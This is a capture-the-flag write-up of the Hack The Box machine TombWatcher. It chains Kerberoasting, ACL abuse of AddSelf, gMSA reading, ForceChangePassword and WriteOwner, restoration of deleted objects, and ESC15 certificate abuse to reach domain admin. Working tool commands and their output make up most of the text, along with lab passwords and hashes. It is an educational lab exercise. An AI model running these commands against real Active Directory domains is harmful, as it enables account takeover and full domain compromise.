TombWatcher is a Medium Windows Machine that starts following an assumed breach scenario with an access to the tombwatcher.htb domain. This user can perform a targeted Kerberoast over alfred who has AddSelf over the Infrastructure group followed by ReadGMSAPassword over a machine account ANSIBLE_DEV$. That machine account can ForceChangePassword over Sam who has WriteOwner ACL over john, a member of the Remote Managament Users that will be used for the user foothold. For root access, we found that john was able to restore deleted objects through the Reanimate-Tombstones ACL and gnenericWrite over that deleted object. That restored object will be used to perform ESC15 and get Administrator access over the DC.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PORT      STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-24 21:32:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
49666/tcp open msrpc Microsoft Windows RPC
49691/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
49727/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Since this is an assumed breach scenario, we used the provided credentials to collect resources from the domain using rusthound-ce and upload it to bloodhound.

1
$ ~/tools/rusthound-ce -u 'henry' -p 'H3nry_987TGV!' -z -d tombwatcher.htb

We can see that henry has WriteSPNover alfred which could be used to add an SPN to that user and perform a targeted Keberoast, extract and crack alfred domain account hash.

We used targetedKerberoast to add an SPN to alfred as henry

1
$ python3 ~/tools/targetedKerberoast.py -v -d 'tombwatcher.htb' -u 'henry' -p 'H3nry_987TGV!' --request-user 'alfred'
1
2
3
4
5
6
[*] Starting kerberoast attacks
[*] Attacking user (alfred)
[VERBOSE] SPN added successfully for (Alfred)
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$4ccbc7c414abdcd5f851a537acc1b485$38ffb4a90cf35eaf39307edf9abdc5e376153287512d3eba4d24fe239d7764e82b9bb7d9699eb30a01d18a17811xxxxxxxx774c3cec2e7d233e30ffdc2c5cc0467a09262ea1a80592b3fe4b2f8c53fc38262f4496ba1a8fdc25bd7398b9ae31f9eb0acc12746afb83ccd1da8db7eaf052d166524e73e4ef3bc797388d98ac5d97acbed7d650dec7861ae338e1d72c8be716b075cefd8da26c3367a7600a9ec89ae35ae2e511e42d9373d2c0fdf66bae191e856c6b84058fcace335cb1eaa81e266fac952b592587659ed4f5beac0af30bbbf8d436b24339959eb43a8f01daffa0f0081df6afe2cc3d0a4c04219a693647b44037c462f7364667f61fd7e52b60bef04cea0340b0395edebfb2ed8c6eac282f1ef56c435843e58d5b2142cbc9731b6dc6bec00dc27fb5bc9c696bae65e94aa9bc98c8c60d7bccdc22ee993ce0809b12a544b84eb9991b1bfcc2bfb1d07d120180a0c00e4e52c935cdef55610caf4adef0e3a8f4f91d480514da7b8c07c6ed5af23516233a8c21479942b21529066d440988eb3039bb9a2a8d0dd47ce4cad331948bd6b7c2261736c07aae273e308c17ac126e4217f071310c6d8d6d0417dd73da1fe190e6ad627e975adb61e3581cfab70138b8f2588b71dd2bb117468c353f4cccc75b2e0f57aa7e82016f27fdf1dabd3679cb62de9b2ee00551051997cc3992938a1cdfa3ca113681db78725141ce75950c944d72cdba10e90a69ece09fbd94824548822dbe8eba5ed5723b4475dd81ad846c11915780394fef9158d7f0a64f9fe26717a4a962a16f1f401e449a74366f7b4638bc7c8867d102df53c7b1ade5a6874549d085f4a5317eb00d057cb4083f84b3748959950d954002d64cb27e8ce5732a18c766660bd2e389ca2d13a8d7362fd879aeac6306d51c6a15bb896767a71b64294769a26f6146ab4b4508f859b0559eeb95ed7a3a000c10b6e452eacb53c08a36aeaeebd4c4616872be3691b9623779b511421cbdced41e05fc3d5140d0e63054a11296ba4a0a506c476c196b52ecbe5a9ea5d1dd99c86522c9d013eafa90f584b087c74f852befec44cadc751f71696213ff5a5bf5fe7fd9733f1d51da61dbfd3c0dbcb6a55e96d71a19d05b41ddb181e1cb32f41d5877660e1d3854296e530927942b152ae32826b409e0e6085db02319d96fc4f44061ed6e329df3f418e1524285da393c3ace2be0085470e4cca346bb510bd7d3c74880ccf6b25a38baf3baba363a90700c3cd37c9f659e1efd8b37041c4439016501f6e5602d2425b124187bcae8babadb4882f041ed11c971f6cf2bd5af19f12c1b51c1138af8f9b9e85ac4026740c9e0e2a73f41f98b777fe56c88d3eb8b15f34e29d231e98daaa938c8d13d0b4fc68704d8c01f45921064e645c7b2cb43343c4d428dd5f2d6b44fad43d86c7272d3a17a14bc248cec21b31bdb2cfeb1e9ff32bbb975f9185xxxxxx
[VERBOSE] SPN removed successfully for (Alfred)

We could then crack alfred domain account hash with hashcat.

1
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$4ccbc7c414abdcd5f851a537acc1b485$38ffb4axxxxxxxxf39307edf9abdc5e376153287512d3eba4d24fe239d7764e82b9bb7d9699eb30a01d18a17811d17fb16c774c3cec2e7d233e30ffdc2c5cc0467a09262ea1a80592b3fe4b2f8c53fc38262f4496ba1a8fdc25bd7398b9ae31f9eb0acxxxxxxafb83ccd1da8db7eaf052d166524e73e4ef3bc797388d98ac5d97acbed7d650dec7861ae338e1d72c8be716b075cefd8da26c3367a7600a9ec89ae35ae2e511e42d9373d2c0fdf66bae191e856c6b84058fcace335cb1eaa81e266fac952b592587659ed4f5beac0af30bbbf8d436b24339959eb43a8f01daffa0f0081df6afe2cc3d0a4c04219a693647b44037c462f7364667f61fd7e52b60bef04cea0340b0395edebfb2ed8c6eac282f1ef56c435843e58d5b2142cbc9731b6dc6bec00dc27fb5bc9c696bae65e94aa9bc98c8c60d7bccdc22ee993ce0809b12a544b84eb9991b1bfcc2bfb1d07d120180a0c00e4e52c935cdef55610caf4adef0e3a8f4f91d480514da7b8c07c6ed5af23516233a8c21479942b21529066d440988eb3039bb9a2a8d0dd47ce4cad331948bd6b7c2261736c07aae273e308c17ac126e4217f071310c6d8d6d0417dd73da1fe190e6ad627e975adb61e3581cfab70138b8f2588b71dd2bb117468c353f4cccc75b2e0f57aa7e82016f27fdf1dabd3679cb62de9b2ee00551051997cc3992938a1cdfa3ca113681db78725141ce75950c944d72cdba10e90a69ece09fbd94824548822dbe8eba5ed5723b4475dd81ad846c11915780394fef9158d7f0a64f9fe26717a4a962a16f1f401e449a74366f7b4638bc7c8867d102df53c7b1ade5a6874549d085f4a5317eb00d057cb4083f84b3748959950d954002d64cb27e8ce5732a18c766660bd2e389ca2d13a8d7362fd879aeac6306d51c6a15bb896767a71b64294769a26f6146ab4b4508f859b0559eeb95ed7a3a000c10b6e452eacb53c08a36aeaeebd4c4616872be3691b9623779b511421cbdced41e05fc3d5140d0e63054a11296ba4a0a506c476c196b52ecbe5a9ea5d1dd99c86522c9d013eafa90f584b087c74f852befec44cadc751f71696213ff5a5bf5fe7fd9733f1d51da61dbfd3cxxxxxxxxxx96d71a19d05b41ddb181e1cb32f41d5877660e1d3854296e530927942b152ae32826b409e0e6085db02319d96fc4f44061ed6e329df3f418e1524285da393c3ace2be0085470e4cca346bb510bd7d3c74880ccf6b25a38baf3baba363a90700c3cd37c9f659e1efd8b37041c4439016501f6e5602d2425b124187bcae8babadb4882f041ed11c971f6cf2bd5af19f12c1b51c1138af8f9b9e85ac4026740c9e0e2a73f41f98b777fe56c88d3eb8b15f34e29d231e98daaa938c8d13d0b4fc68704d8c01f45921064e645c7b2cb43343c4d428dd5f2d6b44fad43d86c7272d3a17a14bc248cec21b31bdb2cfeb1e9ff32bbb975f91854d640d:basketball
1
alfred:basketball

alfref had AddSelf ACL over the infrastructure group which could be used to add himself to that group.

We could abuse that ACL through bloodyAD .

1
2
$ bloodyAD -u alfred -p 'basketball' -d tombwatcher.htb --dc-ip 10.10.11.72 add groupMember infrastructure alfred 
[+] alfred added to infrastructure

We could also check the new user’s membership as follows:

1
2
3
4
5
$ bloodyAD -u alfred -p 'basketball' -d tombwatcher.htb --dc-ip 10.10.11.72 get membership alfred
<SNIP>
distinguishedName: CN=Infrastructure,CN=Users,DC=tombwatcher,DC=htb
objectSid: S-1-5-21-1392491010-1358638721-2126982587-1107
sAMAccountName: Infrastructure

The infrastructure group can ReadGMSAPassword over ANSIBLE_DEV$ machine account.

Using nxc’s gmsa module, we could read that gmsa password as alfred member of the infrastructure group.

1
2
3
4
5
$ nxc ldap 10.10.11.72 -u 'alfred' -p 'basketball' --gmsa
LDAP 10.10.11.72 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
LDAPS 10.10.11.72 636 DC01 [+] tombwatcher.htb\alfred:basketball
LDAPS 10.10.11.72 636 DC01 [*] Getting GMSA Passwords
LDAPS 10.10.11.72 636 DC01 Account: ansible_dev$ NTLM: 4f46405647993c7d4e1dc1c25dd6ecf4 PrincipalsAllowedToReadPassword: Infrastructure

Ansible_dev$ machine account had ForceChangePassword over sam allowing it to change his password.

We could exploit that ACL using bloodyAD as ansible_dev$ domain machine account. Firstly, we would need to request a TGT ticket for that ansible_de$ since we will use bloodyAD to change the user’s password.

1
2
3
$ impacket-getTGT -dc-ip 10.10.11.72 tombwatcher.htb/ansible_dev$ -hashes ':4f46405647993c7d4e1dc1c25dd6ecf4'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in ansible_dev$.ccache

Once we got that TGT ticket, we used it to change sam domain account’s password.

1
2
KRB5CCNAME=ansible_dev\$.ccache bloodyAD -k -u ansible_dev$ -d tombwatcher.htb --host 'dc01.tombwatcher.htb' set password sam 's@m_123'    
[+] Password changed successfully!

We could also additionally check that the password was changed.

1
2
3
$ nxc smb 10.10.11.72 -u sam -p 's@m_123'     
SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\sam:s@m_123

sam had WriteOwner over john

We could abuse that ACL by first becoming owner of that john domain account.

1
2
$ bloodyAD -u 'sam' -p 's@m_123' -d tombwatcher.htb --dc-ip 10.10.11.72 set owner john sam                                 
[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john

Then, as owner, we could add GenericAll DACL over john attributes which could allow in the next step to force change his password.

1
2
$ bloodyAD -u 'sam' -p 's@m_123' -d tombwatcher.htb --dc-ip 10.10.11.72 add genericAll john sam                            
[+] sam has now GenericAll on john

We then changed john password as sam.

1
2
$ bloodyAD -u 'sam' -p 's@m_123' -d tombwatcher.htb --dc-ip 10.10.11.72 set password john 'j0hn_123'   
[+] Password changed successfully!

We can see that john is member of the Remote Management Users over DC01.

Shell as john

As john, we could PsRemote into DC01 and get the flag under the Desktop folder.

1
$ evil-winrm -i 10.10.11.72 -u john -p 'j0hn_123'

Furthermore, going back to the enumeration data from bloodhound, we can see that john had GenericAll over the ADCS OU. We could abuse that ACL using bloodyAD.

1
2
$ bloodyAD -u john -p 'j0hn_123' --dc-ip 10.10.11.72 add genericAll 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' john
[+] john has now GenericAll on OU=ADCS,DC=TOMBWATCHER,DC=HTB

Privilege Escalation

Using powerview.py, we can see that the john domain user has Reanimate-tombstones ACL over the domain, allowing him to restore tombstoned objects on the domain.

1
Get-DomainObjectAcl -SecurityIdentifier S-1-5-21-1392491010-1358638721-2126982587-1106 -ResolveGUIDs


We could therefore list the tombstoned (deleted) objects on the domain and find cert_admin which appears to be the domain user account in charge of managing certificates in the domain.

1
2
3
4
5
6
$ bloodyAD -u john -p 'j0hn_123' --dc-ip 10.10.11.72 get writable --include-del                                       
<SNIP>
distinguishedName: CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
permission: CREATE_CHILD; WRITE
OWNER: WRITE
DACL: WRITE

With WRITE ACL over that object, we could be able to restore it to the domain with the same samaccountname.

However, when running bloodyAD to check for the tombstoned objects, we could see that there were 3 instances of cert_admin as tombstoned objects each one with its own SID.

Digging through available certificate templates as john, we found that the user with SID S-1-5-21-1392491010-1358638721-2126982587-1111 which matched one of the previsouly deleted cert_admin account was able to enroll and had also Write property over the WebServer certificate template.

Therefore, we decided to restore that specific account to further check what could be done with it regarding ADCS.

1
2
$ bloodyAD -u john -p 'j0hn_123' --dc-ip 10.10.11.72 set restore S-1-5-21-1392491010-1358638721-2126982587-1111
[+] S-1-5-21-1392491010-1358638721-2126982587-1111 has been restored successfully under CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb

We then applied a new password over that restored account since we have GenericWrite over it as john.

1
2
$ bloodyAD -u john -p 'j0hn_123' --dc-ip 10.10.11.72 set password cert_admin cert_123
[+] Password changed successfully

Running certipy again as that cert_admin tombstoned user led to finding an ESC15 vulnerability affecting the previously found WebServer certificate template.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
$ certipy find -vulnerable -stdout -u cert_admin -p cert_123 -dc-ip 10.10.11.72                                
Certipy v5.0.3 - by Oliver Lyak (ly4k)

<SNIP>
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 2 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-16T00:57:49+00:00
Template Last Modified : 2024-11-16T17:07:26+00:00
Permissions
Enrollment Permissions
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
Object Control Permissions
Owner : TOMBWATCHER.HTB\Enterprise Admins
Full Control Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Owner Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
[+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1.
[*] Remarks
ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.

This blog post from TrustedSec explained in details that ESC15 vulnerability. In summary, it allows a user account with enrollment rights and Write property to change the EKU to Client Authentication which creates a new attribute ApplicationPolicies which gets a higher priority over the Server Authentication EKU and allows the user to enroll as another specified SPN into the domain.

We used certipy to first create a backup of that template.

To abuse ESC15, we used certipy to request in the SAN for the UPN of the domain admin’s user on a pfx file.

1
2
3
4
5
6
7
8
9
10
11
$ certipy req -u cert_admin -p cert_123 -dc-ip 10.10.11.72 -ca tombwatcher-CA-1 -template WebServer -upn administrator@tombwatcher.htb -application-policies 'Client Authentication' 
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

We could then use that certificate through schannel in LDAP.

1
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72 -ldap-shell

In that shell, we were able to temporarily change the domain admin’s password and use it to auth through SMB into the DC01 and get the flag under C:\Users\Administrator\Desktop.